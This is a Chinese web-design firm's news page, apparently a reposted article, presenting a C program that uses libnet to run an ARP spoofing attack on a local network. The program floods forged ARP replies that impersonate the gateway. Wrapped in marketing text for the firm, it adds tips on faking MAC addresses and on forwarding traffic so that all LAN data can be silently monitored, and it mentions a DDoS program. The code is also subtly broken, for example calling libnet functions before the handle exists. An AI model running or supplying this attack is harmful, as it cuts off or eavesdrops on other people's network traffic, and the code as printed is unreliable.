网站建设资讯

NEWS

网站建设资讯

Linux怎么使用libnet实现ARP攻击脚本-创新互联

本文小编为大家详细介绍“Linux怎么使用libnet实现ARP攻击脚本”,内容详细,步骤清晰,细节处理妥当,希望这篇“Linux怎么使用libnet实现ARP攻击脚本”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。

十载的武威网站建设经验,针对设计、前端、开发、售后、文案、推广等六对一服务,响应快,48小时及时工作处理。网络营销推广的优势是能够根据用户设备显示端的尺寸不同,自动调整武威建站的显示方式,使网站能够适用不同显示终端,在浏览器中调整网站的宽度,无论在任何一种浏览器上浏览网站,都能展现优雅布局与设计,从而大程度地提升浏览体验。成都创新互联从事“武威网站设计”,“武威网站推广”以来,每个客户项目都认真落实执行。

代码如下:

#include "arp.h"

int main(int argc,char **argv){
 libnet_t *l;
 int i,packet_size;  //发送的数据包的长度
 libnet_ptag_t arp_tag,ether_tag;
 char *device="eth0";
 char err_buf[libnet_errbuf_size];
 char *destion_ip_str = "255.255.255.255";
 char *source_ip_str = "192.168.1.1";
 u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
 u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
 u_int32_t source_ip,destion_ip;
 //将字符形式ip转换为网络字节序
 source_ip = libnet_name2addr4(l,source_ip_str,libnet_resolve);
 destion_ip = libnet_name2addr4(l,destion_ip_str,libnet_resolve);
 //初始化libnet句柄
 l = libnet_init(libnet_link,device,err_buf);
 if(l == null){
  printf("初始化libnet句柄失败:%s\n",err_buf);
  exit(-1);
 }
 arp_tag = libnet_build_arp(
  arphrd_ether,  //硬件地址类型,此处为以太网类型
  ethertype_ip,  //协议地址类型
  6,
  4,
  arpop_reply,  //arp应答
  source_hardware,
  (u_int8_t *)&source_ip,
  destion_hardware,
  (u_int8_t *)&destion_ip,
  null,  //无负载
  0,   //负载长度为0
  l,
  0  //协议块标记,为0,表示新建协议块
  );
 ether_tag = libnet_build_ethernet(
  (u_int8_t *)&destion_hardware,
  (u_int8_t *)&source_hardware,
  ethertype_arp,
  null,
  0,
  l,
  0
  );
 i = 0;
 while(1){
  packet_size = libnet_write(l);  //发送构造的arp数据包
  usleep(10);
  i++;
 }
 printf("数据包长度为:%d\n",packet_size);
 libnet_destroy(l);
 return 0;
}


目标mac为广播地址,全0xff就行,源mac地址可以为本机mac或者随便伪造的mac(在程序中获取本机mac可用ioctl函数,最近在写ddos攻击程序就是用ioctl获取本机mac和ip的),注意arp包类型为arpop_reply(应答包)。
如果不想弄断网,只进行欺骗的话,数据发送过来之后,要进行转发到正确的网关,这样就保证内网网络正常,而且所有数据都被监听了

读到这里,这篇“Linux怎么使用libnet实现ARP攻击脚本”文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注创新互联行业资讯频道。


本文题目:Linux怎么使用libnet实现ARP攻击脚本-创新互联
转载源于:http://cdweb.net/article/dspchp.html